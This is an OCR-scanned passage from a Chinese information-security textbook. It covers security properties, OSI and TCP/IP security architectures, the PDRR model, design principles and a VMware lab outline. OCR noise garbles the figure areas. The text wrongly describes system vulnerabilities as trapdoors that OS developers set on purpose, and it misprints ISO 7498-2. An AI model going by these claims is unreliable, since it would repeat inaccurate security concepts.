在 规定 条 件 下 和 规定 时 间 内 完成 规定 功能 的 可 图 1-1 信息 安全 性 质 之 间 的 关系 
能 性 。 可 靠 性 是 网 络 安全 最 基本 的 要 求 之 一 ,网 
络 不 可 靠 ,事故 不 断 , 网 络 安 全 也 就 无 从 谈 起 。 目 前 ,理论 界 侧重 于 从 硬件 设备 方面 研究 网 
络 的 可 靠 性 ,研制 高 可 靠 性 元 器 件 设 备 ,采取 合理 的 元 余 备 份 措施 仍 是 最 基本 的 可 靠 性 对 
策 。 然 而 ,单纯 研究 硬件 可 靠 性 是 不 够 的 ,软件 .人 员 和 环境 也 会 导致 网 络 的 故障 ,它们 的 可 
靠 性 也 有 待 研究 。 

(2) 不 可 抵赖 性 (Non-Repudiation) 。 不 可 抵赖 性 是 针对 通信 双方 (人 、 实 体 或 进程 ) 信 
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息 真实 性 的 安全 要 求 , 它 包括 收 \ 发 双方 均 不 可 抵赖 。 一 是 源 发 证 明 , 它 提供 给 信息 接收 者 
以 证 据 , 这 样 信息 发 送 者 就 不 能 够 否认 发 送 该 信息 的 行为 和 信息 的 内 容 ; 二 是 交付 证 明 , 它 
提供 给 信息 发 送 者 以 证 据 , 这 样 信息 接收 者 就 不 能 够 否认 接收 该 信息 的 行为 和 信息 的 内 容 。 

(3) 可 控 性 。 可 控 性 就 是 监控 信息 及 信息 系统 的 安全 性 。 管 理 机 构 监视 审计 危害 国家 
信息 的 传播 ,使 用 加 密 手 段 从 事 非法 的 通信 活动 ,同时 严格 审查 信息 的 传播 及 内 容 。 

(4) 可 审查 性 。 使 用 一 系列 安全 机 制 ( 审 计 、 监 控 、 防 抵赖 等 ) ,使 得 使 用 者 (包括 合法 用 
户 、 攻 击 者 \ 破 坏 者 、 抵 赖 者 ) 的 行为 有 据 可 查 , 并 可 以 对 网 络 暴 露出 的 安全 问题 提供 调查 依 
据 和 手段 。 审 计 使 用 日 志 记载 网 络 上 发 生 的 各 种 信息 访问 情况 ,并 定期 统计 分 析 日 志 。 网 
络 管理 人 员 利 用 审计 的 手段 对 网 络 资源 的 使 用 情况 进行 事后 分 析 , 同 时 也 可 以 发 现 和 追踪 
安全 事件 。 审 计 的 主要 目标 为 用 户 、 主 机 和 结 点 ,主要 内 容 为 访问 的 主体 、 客 体 、 时 间 和 成 败 
情况 等 。 


1.2.3 网络 安 全 技术 发 展 的 趋势 


网 络 安全 技术 发 展 趋势 如 下 。 

(1) 新 型 安全 技术 的 出 现 。 为 了 应 对 日 益 严峻 的 网 络 安全 形式 ,网 络 安全 专家 不 断 地 
提出 了 新 的 网 络 安全 思想 和 网 络 安全 技术 。 网 络 安全 技术 包括 可 信 计 算 、 网 格 计 算 .虚拟 机 
和 软件 安全 扫描 等 。 

(2) 集成 化 的 安全 工具 。 在 特定 的 网 络 应 用 环境 中 ,网 络 安全 专家 将 一 些 常用 的 网 络 
安全 技术 集成 在 一 起 ,取得 了 很 好 的 效果 。 病 毒 防 火 墙 和 VPN 的 集成 .防火 墙 和 IDS 的 集 
成 .主机 安全 防护 系统 .安全 网 关 、 网 络 监控 系统 等 都 是 安全 技术 集成 的 典型 案例 。 

(3) 针对 性 的 安全 工具 。 针 对 性 的 安全 工具 旨 在 应 对 影响 范围 广泛 ,危害 性 强 的 网 络 
威胁 。 这 类 安全 工具 种 类 繁多 ,如 专门 针对 DDoS 攻击 的 防范 系统 .专门 解决 安全 认证 的 
AAA 认证 系统 、 专 门 解决 不 同 应 用 一 致 性 登录 问题 的 单 点 登录 系统 、 内 网 非法 外 联系 
统 等 。 

(4) 管理 类 安全 工具 。 随 着 网 络 安全 技术 的 不 断 发 展 ,为 了 实现 网 络 的 安全 管理 ,网 络 
安全 专家 们 设计 出 了 基于 管理 思想 的 安全 工具 。 管 理 类 安全 工具 包括 安全 管理 平台 统一 
威胁 管理 工具 和 日 志 分 析 系 统 等 。 

(5) 网 络 安全 服务 。 面 对 日 益 严 峻 的 网 络 安 全 形势 ,人 们 对 网 络 安全 技术 的 要 求 也 越 
来 越 高 。 建 立 一 支 高 水 平 的 安全 管理 人 员 团 队 是 顺理成章 的 选择 ,但 是 建立 一 支 专 业 化 的 
团队 往往 需要 付出 很 高 的 代价 ,普通 的 企 事 业 单位 往往 难以 接受 。 将 网 络 系统 安全 加 固 任 
务 外 包 给 专门 从 事 网 络 安全 服务 的 公司 去 完成 ,逐渐 地 成 为 一 种 行 之 有 效 的 方法 ,这 就 是 所 
谓 的 网 络 安 全 服务 。 网 络 安全 服务 实际 上 是 网 络 安全 设计 动态 特性 的 延伸 ,也 是 网 络 安全 
产业 分 工 的 结果 。 作 为 一 种 新 的 技术 ,网 络 安全 服务 同样 需要 工具 和 规范 的 支持 。 网 络 安 
全 服务 企业 定期 地 评估 客户 网 络 系统 面临 的 风险 ,利用 各 种 补丁 加 固 客户 的 网 络 系统 ,为 客 
户 提供 有 效 的 安全 网 络 管理 方案 。 此 外 ,网 络 安全 服务 企业 还 负责 对 客户 的 网 络 系统 建设 
方案 进行 安全 评估 ,对 客户 企业 员工 进行 安全 培训 等 。 


1.3 网 络 不 安全 的 原因 


1.3.1 系统 漏洞 


系统 漏洞 是 导致 网 络 不 安全 的 重要 原因 之 一 。 系 统 漏洞 又 被 称 为 陷阱 , 它 通常 是 由 操 
作 系 统 开发 者 设置 的 ,这 样 他 们 就 能 够 在 用 户 失 去 了 对 操作 系统 的 所 有 访问 权时 仍 能 进入 
操作 系统 ,这 就 像 汽 车 上 的 安全 门 一 样 , 平 时 不 使 用 ,在 发 生 灾难 或 正常 门 被 封闭 的 特殊 情 
况 下 ,人 们 可 以 使 用 安全 门 逃 生 。 如 果 黑 客 利用 系统 漏洞 对 网 络 计算 机 的 操作 系统 实施 攻 
击 , 将 导致 计算 机 信息 的 泄露 和 丢失 。 


1.3.2 协议 的 开放 性 


目前 ,TCP/IP 协议 是 应 用 最 广泛 的 网 络 协 议 ,但 由 于 TCP/IP 本 身 的 开放 性 特点 ,在 
设计 过 程 中 没有 对 具体 的 安全 问题 给 予 详细 分 析 , 导 致 现行 的 IP 网 络 存在 明显 的 安全 缺 
陷 ,成 为 网 络 安全 隐患 中 最 核心 的 问题 。 最 常见 的 隐患 有 SYN-Flood 攻击 、ICMP 攻击 、 
DoS 攻击 .DDoS 攻击 IP 地 址 盗用 、 源 路 由 攻击 以 及 截取 连接 攻击 等 。 

在 电子 商务 领域 中 ,信息 安全 的 问题 变 得 尤为 突出 。 在 电子 交易 过 程 中 ,企业 和 用 户 的 
数据 是 以 数据 包 的 形式 来 传送 的 ,恶意 攻击 者 可 以 很 容易 地 对 某 个 电子 商务 网 站 开展 数据 
包 拦 截 ,甚至 对 数据 包 进 行 修改 和 假冒 。 


1.3.3 人 为 因素 


1. 人 为 的 偶然 失误 

如 操作 人 员 配 置 不 合理 导致 的 安全 漏洞 ; 用 户 信息 安全 意识 淡薄 或 者 用 户口 令 设 置 不 
当 , 将 自己 的 账号 违规 转借 给 同事 或 与 他 人 共享 等 ,都 会 使 网 络 变 得 不 够 安全 。 由 此 可 见 ， 
操作 人 员 应 该 认真 地 执行 安全 策略 ,减少 人 为 因素 或 操作 不 当 而 给 信息 系统 带 来 不 必要 的 
风险 或 损失 。 

2. 计算 机 犯罪 

网 络 病毒 可 能 突破 网 络 的 防御 体系 ,感染 网 络 的 服务 器 ,严重 地 破坏 服务 器 上 的 信 
息 资源 ,甚至 导致 网 络 信息 系 统 的 全 面瘫 痪 。 目 前 ,网 络 病毒 主要 通过 网 页 、 邮 件 和 文 
件 下 载 的 方式 传播 ,感染 整个 计算 机 网 络 ,给 管理 信息 系统 和 计算 机 网 络 带 来 灾难 性 
的 破坏 。 有 些 病毒 还 会 删除 与 安全 相关 的 软件 或 系统 文件 ,导致 系统 运行 异常 甚至 造 
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3. 黑客 攻击 

计算 机 软件 往往 存在 不 少 的 缺陷 和 漏洞 ,网 络 黑客 通常 利用 这 些 漏 洞 和 缺陷 开展 针对 
网 络 计算 机 的 攻击 。 黑 客 利 用 网 络 协议 或 恶意 软件 ,扫描 整个 网 络 或 子 网 ,寻找 存在 系统 安 
全 缺陷 的 主机 ,然后 在 该 主机 上 植 入 木马 ,一 旦 取得 了 主机 系统 的 控制 权 后 ,就 可 以 在 系统 
上 为 所 欲 为 ,包括 在 系统 上 建立 新 的 后 门 程序 或 植 人 木马 。 


1.4 信息 安全 体系 结构 


1.4.1 OSI 安全 体系 结构 


1983 年 ,国际 标准 化 组 织 (ISO) 制 定 了 ISO 7498 标准 ,在 计算 机 网 络 通信 和 领域 提出 了 
开放 系统 互联 (Open System Interconnect,OSI) 参 考 模型 。 这 一 标准 将 网 络 通信 协议 分 为 
7 层 , 从 低 到 高 包含 物理 层 ( 第 1 层 ) .数据 链 路 层 ( 第 2 层 )、 网 络 层 ( 第 3 层 )、 传 输 层 (第 4 
层 ) ,会 话 层 ( 第 5 层 )、 表 示 层 (第 6 层 ) 和 应 用 层 ( 第 7 层 ) ,成 为 计算 机 网 络 标准 化 的 纲领 性 
文件 。 

为 了 增强 OSI 参考 模型 的 安全 性 ,ISO 在 1988 年 提出 了 ISO 7489 一 2 标准 ,提高 了 
ISO 7498 标准 的 安全 等 级 , 它 提出 了 网 络 安全 系统 的 体系 结构 , 它 和 以 后 相应 的 安全 标准 
给 出 的 网 络 信息 安全 架构 被 称 为 OSI 安全 体系 结构 。OSI 安全 体系 结构 指出 了 计算 机 网 
络 需要 的 安全 服务 和 解决 方案 ,并 明确 了 各 类 安全 服务 在 OSI 网 络 层次 中 的 位 置 ,这 种 在 
不 同 网 络 层次 满足 不 同安 全 需求 的 技术 路 线 对 后 来 网 络 安全 的 发 展 起 到 了 重要 的 作用 。 

表 1-1 介绍 了 OSI 安全 体系 结构 规定 的 主要 安全 服务 及 其 实现 机 制 和 所 处 的 网 络 层 
次 。 从 标准 中 看 ,OSI 的 “底层 网 络 安全 协议 "在 第 1 一 4 层 中 实现 ,主要 包括 网 络 层 安全 协 
议 (Network Layer Security Protocol, NLSP) 和 传输 层 安全 协议 (Transportation Layer 
Security Protocol, TLSP); OSI 的 “安全 组 件 ” 服 务 在 第 5 一 7 层 中 实现 ,它们 主要 包括 安全 
通信 组 件 和 系统 安全 组 件 , 前 者 负责 与 安全 相关 的 信息 在 系统 之 间 的 传输 ,后 者 负责 与 安全 
相关 的 处 理 , 如 加 密 、 解 密 、 数 字 签 名 、 认 证 等 。 在 表 1-1 中 ,路 由 控制 实际 上 是 指 在 网 络 设 
备 上 进行 的 安全 处 理 , 选 择 字段 机 密 性 或 选择 字段 完整 性 是 指 在 应 用 中 仅 有 部 分 信息 是 需 
要 保密 或 不 允许 修改 的 。 


RII OSI 安全 体系 结构 定义 的 主要 安全 服务 情况 


安全 服务 实现 机 制 网 络 层 次 
对 等 实体 认证 认证 \ 签 名、 加密 3,4,7 
数据 起 源 认 证 签名 、 加 密 3,4,7 
访问 控制 认证 授权 与 访问 控制 3、4、7 
连接 机 密 性 路 由 控制 ,加密 1,2,3,4,6,7 
无 连接 机 密 性 路 由 控制 .加 密 2,3,4,6,7 
选择 字段 机 密 性 加 密 6、7 
连接 完整 性 完整 性 验证 ,加 密 4,7 
无 连接 完整 性 完整 性 验证 、 签 名 ,加密 3,4,7 
选择 字段 连接 完整 性 完整 性 验证 .加密 7 
选择 字段 无 连接 完整 性 完整 性 验证 、 签 名 .加 密 7 
数据 源 非 否认 第 三 方 公正 、 完 整 性 验证 、 签 名 7 
传递 过 程 非 否认 第 三 方 公正 、 完 整 性 验证 、 签 名 7 


从 表 1-1 可 以 看 出 ,不 同 的 网 络 协议 栈 层次 可 以 实现 相同 的 安全 需求 。 网 络 安全 体系 
设计 者 在 实现 安全 功能 的 网 络 层 次 方面 主要 应 该 考虑 : 从 成 本 、 通 用 性 和 适用 性 等 角度 来 
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分 析 , 尽 可 能 在 较 低 的 网 络 协议 栈 层次 实现 这 些 需 求 ; 此 外 ,一 些 实现 条 件 要 求 或 约束 使 安 
全 性 必须 在 更 高 的 网 络 层次 实现 。 综合 地 看 ,OSI 安全 体系 结构 中 的 安全 服务 能 够 为 网 络 
系统 提供 以 下 4 类 不 同 层次 的 安全 性 (图 1-2)。 


应 用 层 应 用 级 安全 应 用 层 
表示 层 

会 话 层 

端 系统 级 安全 can 

同 络 层 网 络 级 安全 网 络 层 
数据 链 路 层 | 链 路 级 安全 。 。 | 数据 饶 路 层 
物理 层 


图 1-2 OSI 安全 体系 结构 4 个 主要 的 安全 结构 层 


1. 应 用 级 安全 

与 应 用 直接 联系 的 安全 需求 必须 在 应 用 层 实现 ,主要 包括 被 保护 数据 存在 语义 相关 和 
中 继 的 情形 。 在 这 些 情形 下 ,OSI 安全 组 件 运 用 各 种 信息 安全 技术 保障 应 用 层 数据 的 安全 
性 ,实现 的 安全 性 被 称 为 应 用 级 安全 。 

所 谓 被 保护 数据 存在 语义 相关 ,通常 指 信息 安全 系统 需要 了 解数 据 的 一 些 情况 或 此 数 
据 与 其 他 数据 的 关系 后 方 可 对 此 数据 进行 保护 。 典 型 地 ,很 多 应 用 仅 要 求 保护 一 部 分 数据 ， 
数据 存在 安全 保护 范围 的 问题 ,因此 安全 保护 需要 设置 不 同 的 操作 粒度 。 比 如 ,对 信息 “ 侵 
华 日 军 731 部 队 的 遗址 位 于 哈尔滨 市 平房 区 ”而 言 ,应 用 仅仅 需要 保护 “731” 这 部 分 信息 。 
在 OSI 安全 体系 结构 中 ,这 类 应 用 被 称 为 需要 选择 字段 非 否认 性 、 选 择 字段 完整 性 、 选 择 字 
段 机 密 性 等 ,显而易见 的 是 这 些 随 不 同 应 用 而 不 同 的 处 理 无 法 在 更 低 的 网 络 层次 实现 。 

所 谓 被 保护 数据 存在 中 继 , 是 指 在 数据 传输 过 程 里 中 继 系统 需要 获得 .处 理 并 继续 传输 
由 应 用 层 包 里 着 的 数据 。 在 这 种 情况 下 ,中 继 系 统 需要 打开 数据 包 的 应 用 层 ,然后 处 理 或 转 
换 数据 包 中 的 数据 。 因 此 , 若 在 网 络 较 低层 次 实现 安全 机 制 ,需要 把 这 些 中 继 系 统 包含 进 
来 ,这 实现 起 来 非常 困难 。 例 如 ,一 个 网 上 银行 的 应 用 试图 通过 加 密 数 据 包 内 容 的 手段 保护 
数据 包 的 内 容 , 但 数据 包 必须 经 过 发 送 和 接收 服务 器 中 继 , 但 要 把 所 有 可 能 的 这 类 服务 器 都 
包括 进 安全 系统 是 非常 不 便 的 ,为 了 实现 任何 地 域 之 间 的 网 上 银行 业务 ,需要 在 应 用 层 解决 
安全 问题 。 

2. 端 系 统 级 安全 

当 安 全 构件 在 介 于 应 用 层 和 网 络 层 之 间 的 层次 实现 时 ,网 络 系统 得 到 了 端 系统 级 安全 ， 
即 OSI 安全 体系 结构 满足 了 端 系统 到 端 系统 之 间 的 通信 安全 。 一 些 对 通信 安全 要 求 较 高 
的 场合 适合 采用 端 系统 级 安全 ,这 里 的 安全 通信 不 仅 面 向 所 有 的 应 用 ,而 且 以 一 种 安全 的 方 
式 满足 相应 网 络 层 次 的 功能 。 

应 用 的 设计 者 可 能 怀疑 网 络 的 可 信 程 度 , 此 时 需要 在 网 络 上 实现 系统 级 安全 性 。 网 络 
不 可 信 存 在 的 原因 包括 内 部 网 络 出 现 威胁 无 法 控制 网 络 设备 、 不 方便 改造 网 络 设备 等 情 
况 。 内 部 网 络 出 现 威胁 是 指 即使 网 络 之 间 存 在 安全 的 通信 ,仍然 可 能 出 现 信息 在 内 部 网 络 
中 被 窃取 的 情况 ,在 要 求 高 安全 性 的 场合 下 ,应 该 满足 端 系统 级 安全 。 无 法 控制 网 络 设备 是 
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指 应 用 难以 使 用 网 络 设 备 保护 通信 的 安全 。 例 如 ,铁路 购 票 系统 在 设计 时 不 能 假设 购 票 者 
处 在 特定 的 网 络 中 ,因此 有 必要 保证 购 票 者 的 计算 机 到 系统 服务 器 之 间 端 到 端的 数据 安全 。 
不 便于 改造 网 络 设备 的 情形 类 似 上 述 情况 ,一 般 当 受 保护 的 数据 流量 较 小 时 ,即使 在 固定 的 
网 络 之 间 安 全 通信 ,实现 端 系统 级 安全 往往 代价 更 低 。 目 前 ,OSI 端 系统 级 安全 的 思想 已 经 
渗透 到 TCP/IP 网 络 中 的 安全 套 接 字 和 安全 HTTP 等 实用 协议 中 。 

3. 网 络 级 安全 

OSI 安全 体系 规定 : 网 络 层 提供 的 安全 功能 负责 实现 网 络 到 网 络 之 间 的 安全 通信 , 获 
得 网 络 级 安全 。 此 外 ,OSI 规范 还 规定 : 分 布 于 不 同 地 理 位 置 上 的 网 络 是 Internet 的 子 网 ， 
因此 网 络 级 安全 也 被 称 为 子 网 级 安全 。 

网 络 级 安全 的 应 用 范围 广泛 。 网 络 级 安全 可 以 避免 在 每 个 端 系统 中 都 安装 安全 构件 ， 
节省 了 网 络 部 署 成 本 ; 实现 网 络 级 安全 也 可 以 配合 少量 端 系统 级 安全 的 应 用 ,达到 安全 保 
障 体系 主 次 分 明 的 目标 ; 最 后 , 当 收 发 双方 的 内 部 网 络 能 够 保证 可 靠 时 ,满足 了 网 络 级 安全 
就 等 价 于 实现 了 通信 的 安全 。 目 前 ,OSI 网 络 级 安全 框架 的 思想 已 经 渗透 到 虚拟 专用 网 、 
Internet 安全 协议 族 IPSec 等 协议 中 。 

4. 链 路 级 安全 

为 了 在 信息 传输 中 透明 地 保护 全 部 的 高 层 协议 通信 ,安全 应 用 的 设计 者 可 以 在 数据 链 
路 层 保护 通信 帧 的 内 容 , 这 样 就 能 够 实现 链 路 级 安全 。 但 这 种 策略 只 适合 点 到 点 通信 的 情 
形 , 因 为 在 这 种 情况 下 ,有 限 的 连接 点 被 认为 是 可 信赖 的 。 例 如 ,数据 链 路 层 保护 适合 大 型 
网 络 通信 中 心 之 间 的 数据 传输 。 但 在 Internet 中 ,无 论 从 连接 点 的 可 信 性 还 是 从 实施 代价 
来 说 ,数据 链 路 层 保护 显然 难以 实施 。 


1.4.2 TCP/IP 安全 体系 结构 


TCP/IP 协议 族 在 设计 之 初 并 没有 认真 地 考虑 网 络 安全 功能 ,为 了 解决 TCP/IP 协议 
族 带 来 的 安全 问题 ,Internet 工程 任务 组 (IETF) 不 断 地 改进 现 有 协议 和 设计 新 的 安全 通信 
协议 来 对 现 有 的 TCP/IP 协议 族 提供 更 强 的 安全 保证 ,在 互联 网 安全 性 研究 方面 取得 了 丰 
硕 的 成 果 。 由 于 TCP/IP 各 层 协 议 提 供 了 不 同 的 功能 ,为 各 层 提 供 了 不 同 层次 的 安全 保证 ， 
专家 们 为 协议 的 不 同 层 次 设计 了 不 同 的 安全 通信 协议 ,为 网 络 的 各 个 层次 提供 了 安全 保障 。 
目前 ,TCP/IP 安全 体系 结构 已 经 制定 了 一 系列 的 安全 通信 协议 ,为 各 个 层次 提供 了 一 定 程 
度 上 的 安全 保障 。 这 样 ,由 各 层 安全 通信 协议 构成 的 TCP/IP 协议 族 的 安全 架构 也 已 形成 ， 
如 图 1-3 所 示 。 

(1) 数据 链 路 层 安全 通信 协议 为 通过 通信 链 路 连接 起 来 的 主机 或 路 由 器 之 间 的 安全 提 
供 了 保证 ,PPTP、L2TP 是 主要 的 数据 链 路 层 安 全 通信 协议 。 数 据 链 路 层 安 全 通信 协议 拥 
有 较 高 的 效率 ,但 是 通用 性 和 扩展 性 较 差 。 

(2) 网 络 层 安 全 通信 协议 旨 在 解决 网 络 层 通信 中 产生 的 安全 问题 ,对 TCP/IP 协议 而 
言 ,主要 解决 IP 协议 中 存在 的 安全 问题 。 目 前 ,IPSec 是 最 重要 的 网 络 层 安 全 通信 协议 。 
网 络 层 安全 通信 协议 对 网 络 层 以 上 各 层 透明 ,但 是 难以 提供 不 可 否认 服务 。 

(3) 传输 层 安 全 通信 协议 的 目标 是 在 端 系 统 为 传输 层 提供 安全 通信 ,SSL 和 TLS 是 重 

要 的 传输 层 安 全 通信 协议 。 传 输 层 安全 通信 协议 可 以 在 进程 与 进程 之 间 实现 安全 通信 ,但 
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是 需要 修改 对 应 程序 ,同时 也 不 能 提供 透明 的 安全 保障 。 


SNMP PGP S/MIME 


SET IKE TELNET 


X.509 RIPv2 SNMPv3 


aa 


f 


i 


Wea 


RUGS ae 


图 1-3 TCP/IP 的 安全 体系 结构 


(4) 应 用 层 安全 通信 协议 是 根据 某 些 特定 应 用 (电子 邮件 .电子 交易 等 ) 的 安全 需求 而 
设计 的 安全 协议 。SV/MIME PGP, SET, SNMP 和 S-HTTP 是 主要 的 应 用 层 安 全 通信 协 
议 ,这 些 协议 必须 在 端 系统 及 主机 上 应 用 。 应 用 层 安 全 通信 协议 可 以 密切 地 结合 具体 应 用 
的 安全 需求 提供 个 性 化 的 安全 服务 ,但 是 每 种 安全 机 制 只 是 针对 某 种 特定 的 应 用 。 应 该 综 
合 地 考虑 应 用 对 安全 保密 的 具体 要 求 以 及 每 一 层 实现 安全 功能 的 特点 来 决定 在 某 一 层次 究 


竟 采 用 什么 样 的 安全 通信 协议 。 
1.4.3 信息 安全 保障 体系 


“信息 安全 保障 体系 ”为 信息 系统 安全 体系 提供 了 一 个 完整 的 设计 理念 ,同时 较 好 地 诠 
释 了 安全 保障 的 内 涵 。 信 息 安 全 保障 体系 如 图 1-4 所 示 ,包含 以 下 4 部 分 内 容 。 


1. 保护 


所 谓 保护 (Protect) ,就 是 指 预先 采取 安全 防范 
措施 ,迫使 产生 攻击 的 条 件 无 法 形成 ,让 攻击 者 无 
法 实施 入 侵 信息 系统 的 行为 。 保 护 属于 被 动 防御 、 
无 法 彻底 地 阻止 各 种 针对 信息 系统 的 攻击 行为 。 
主要 的 安全 保护 技术 包括 网 络 安全 技术 ,信息 保密 
技术 .操作 系统 安全 技术 物理 安全 防护 .访问 控制 
技术 以 及 病毒 预防 技术 等 。 

2. 检测 


PAR M (Detect) ,是 指 根据 有 关 的 安全 策 
略 , 采 取 相 应 的 技术 手段 ,针对 可 能 被 入侵 者 利用 


保护 检测 
信息 安全 保障 体系 
恢复 反应 
图 1-4 信息 安全 保障 体系 
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的 信息 系统 的 脆弱 部 分 进行 具有 一 定 实时 性 的 检查 ,同时 将 结果 形成 检测 报告 。 主 要 的 检 
测 技术 包括 入 侵 检 测 、 恶 意 代码 检测 、 脆 弱 性 扫描 等 。 

3. 反应 

所 谓 反应 (React) ,是 指 对 于 破坏 系统 安全 性 的 事件 行为. 过程 及 时 做 出 适当 的 响应 处 
理 ,避免 危害 的 后 果 进 一 步 地 恶化 ,使 信息 系统 蒙受 最 小 的 损失 。 主 要 的 反应 技术 包括 报 
警 .跟踪 、 阻 断 、 隔 离 以 及 反击 等 相关 技术 。 反 击 又 可 分 为 取证 和 打击 ,其 中 取证 是 根据 相关 
法 律 法 规 搜集 入 侵 者 的 犯罪 证 据 , 而 打击 是 采用 合法 手段 反 制 人 侵 者 。 

4. 恢复 

所 谓 恢复 (Restore) ,是 指 当 危害 事件 发 生 后 把 信息 系统 恢复 到 原来 的 状态 或 比 原来 更 
安全 的 状态 ,降低 危害 对 信息 系统 造成 的 损失 。 主 要 的 恢复 技术 包括 异常 恢复 应急 处 理 、 
漏洞 修补 .系统 和 数据 备份 以 及 人 侵 容忍 等 。 

保护 ,检测 ,反应 和 恢复 是 信息 安全 保障 的 子 过 程 ,这 4 个 子 过 程 构成 了 信息 安全 保障 
这 一 完整 的 动态 过 程 。 如 图 1-5 所 示 , 这 些 子 过 程 分 别 在 攻击 者 发 动 攻击 的 不 同 阶段 为 信 
息 系统 提供 保障 。 保 护 是 最 基本 的 被 动 防御 手段 , 即 信 息 系统 的 外 围 防线 ; 检测 的 目的 是 
针对 突破 “外 围 防线 ”后 的 攻击 行为 进行 探测 预警 ; 而 反应 是 在 接 到 检测 报警 后 针对 攻击 采 
取 的 控制 手段 ; 恢复 是 针对 攻击 入 侵 引 起 的 破坏 后 果 进 行 补救 ,是 最 后 的 减灾 方法 ,如 果 前 
面 的 保障 过 程 有 效 地 控制 了 入 侵 行为 , 则 恢复 过 程 无 须 启动 。 


检测 失败 
保护 成 功 


保 | 保护 失败 
护 


(> 
检测 成 功 应 失败 


Pa 


攻击 
反应 成 功 
图 1-5 PDRR 模型 安全 保障 动态 过 程 示意 图 


1.4.4 网 络 信息 安全 系统 设计 原则 


网 络 信息 安全 系统 在 设计 过 程 中 应 该 遵循 以 下 9 项 原则 。 

1. 木 桶 原则 

木 桶 的 最 大 容积 取决 于 最 短 的 一 块 木板 , 木 桶 原则 旨 在 对 网 络 信息 进行 均衡 地 保护 。 
网 络 信息 系统 异常 复杂 ,网 络 信息 系统 的 安全 脆弱 性 源 于 其 物理 上 、 操 作 上 和 管理 上 的 漏 
洞 。 单 纯 的 技术 防护 无 法 满足 多 用 户 网 络 信息 系统 的 复杂 性 和 资源 共享 性 的 要 求 。 攻 击 者 
往往 选择 系统 最 薄弱 的 地 方 进行 攻击 ,这 是 设计 网 络 信息 安全 系统 时 需要 注意 的 问题 。 因 
此 ,科学 地 设计 网 络 信息 安全 系统 需要 全 面 地 分 析 ,评估 和 检测 信息 系统 面临 的 安全 威胁 。 

2. 整体 性 原则 

整体 性 原则 要 求 在 网 络 面临 攻击 的 情况 下 , 尽 可 能 快速 恢复 网 络 信息 中 心服 务 。 因 此 ， 
信息 安全 系统 应 该 包括 安全 防护 机 制 、 安 全 检测 机 制 和 安全 恢复 机 制 。 安 全 防护 机 制 旨 在 


第 1 章 信息 安全 概述 13 


采取 一 定 的 防护 措施 ,以 应 对 具体 系统 面临 的 各 种 安全 威胁 。 安 全 检测 机 制 通过 实时 监测 
信息 系统 的 运转 情况 ,及 时 处 理 针 对 系统 的 攻击 行为 。 安 全 恢复 机 制 属 于 应 急 处 理 的 范畴 ， 
指 在 安全 防护 机 制 失效 的 情况 下 ,尽快 地 进行 系统 信息 恢复 ,减少 系统 损失 。 

3. 安全 性 评价 与 平衡 原则 

任何 网 络 都 无 法 实现 绝对 的 安全 ,因此 有 必要 建立 合理 的 实用 安全 性 与 用 户 需 求 评价 
与 平衡 体系 。 正确 地 处 理 用 户 需 求 、 网 络 风险 与 系统 代价 的 关系 是 网 络 信息 安 全 系统 设计 
的 关键 ,此 外 在 安全 系统 设计 时 ,需要 做 到 系统 的 安全 性 与 可 用 性 相 容 , 达 到 组 织 上 可 执行 。 
我 们 可 以 根据 3 个 方面 来 评估 网 络 信息 的 安全 性 : 网 络 用 户 需 求 和 网 络 信息 应 用 环境 ; 计 
算 机 网 络 的 规模 ; 网 络 信 息 的 重要 程度 。 

4. 标准 化 与 一 致 性 原则 

网 络 信息 安全 系统 设计 是 一 个 庞大 的 系统 工程 ,其 设计 过 程 必须 遵循 一 系列 标准 ,这 样 
才能 够 保证 各 个 分 系统 一 致 地 工作 ,整个 系统 安全 地 实现 互联 互通 和 信息 共享 。 

5. 技术 与 管理 相 结合 原则 

网 络 信息 安全 系统 设计 是 一 个 复杂 的 系统 工程 ,涉及 人 员 .技术 和 操作 等 诸多 要 素 , 缺 
少 任 何 一 个 要 素 这 项 工程 都 不 可 能 完成 。 因 此 ,在 设计 网 络 信息 安全 系统 时 ,设计 者 应 该 将 
系统 安全 技术 与 运行 管理 机 制 、 操 作者 技术 培训 、 系 统 安全 规章 制度 建设 紧密 地 结合 起 来 。 

6. 统筹 规划 ,分 步 实 施 原则 

由 于 法 规制 定 得 不 完善 ,用 户 需 求 具有 多 样 性 ,网 络 环境 发 生 改 变 , 攻 击 手段 不 断 地 进 
步 , 因 此 网 络 信息 安全 系统 不 可 能 一 次 性 地 设计 成 功 。 一 般 来 说 ,设计 者 首先 可 以 制定 一 个 
比较 全 面 的 安全 规划 ,然后 根据 网 络 的 实际 要 求 , 建 立 基本 的 信息 安全 系统 ,为 网 络 提供 基 
本 的 安全 保障 。 今 后 随 着 网 络 应 用 的 不 断 发 展 ,网 络 应 用 会 变 得 日 趋 复杂 ,计算 机 网 络 也 越 
来 越 脆弱 ,此 时 信息 安全 系统 的 设计 者 应 该 增强 网 络 安全 防护 力度 ,以 保证 整个 网 络 最 基本 
的 安全 需求 。 

7. 等 级 性 原则 

等 级 性 原则 是 针对 网 络 安全 层次 和 网 络 安全 级 别 而 言 的 。 网 络 信息 安全 系统 可 以 分 为 
不 同 的 等 级 ,等 级 的 划分 标准 包括 信息 保密 程度 、 用 户 操 作 权 限 、 网 络 安全 程度 以 及 系统 实 
现 结构 。 网 络 信息 安全 系统 的 设计 者 可 以 针对 不 同等 级 的 安全 对 象 ,提供 相应 的 安全 机 制 ， 
以 满足 网 络 中 不 同 层次 用 户 的 实际 需求 。 

8. 动态 发 展 原则 

应 该 不 断 改 进 安全 措施 ,适应 新 的 网 络 安全 环境 ,满足 现实 的 网 络 安全 需求 。 

9. 易 操 作 性 原则 

首先 ,网 络 信息 安全 系统 要 求 手 工 进行 操作 ,如 果 系 统 设计 得 比较 复杂 ,那么 操作 者 误 
操作 的 可 能 性 增 大 ,这 样 网 络 信 息 安全 系统 的 可 靠 性 就 降低 了 。 其 次 ,安装 网 络 信息 安全 系 
统 不 应 该 影响 计算 机 网 络 的 正常 运转 。 


14 信息 安全 与 技术 


实 训 1 虚拟 机 的 配置 使 用 


1. 实 训 目的 

(1) 掌握 在 Windows XP Professional 操作 系统 下 配置 虚拟 机 的 过 程 。 

(2) 能 够 在 Windows XP Professional 操作 系统 下 熟练 地 使 用 配置 好 的 虚拟 机 。 

2. 实 训 环 境 

(1) 设备 : 计算 机 。 

(2) 软件 : VMware Workstation 6 软件 。 

3. 实 训 内 容 

(1) VMware Workstation 6 的 安装 。 

(2) 使 用 VMware“ 组 装 ? 虚 拟 计 算 机 。 

(3) 在 虚拟 机 中 重新 安装 操作 系统 。 

(4) 安装 VMware Tools。 

(5) 设置 共享 文件 夹 。 

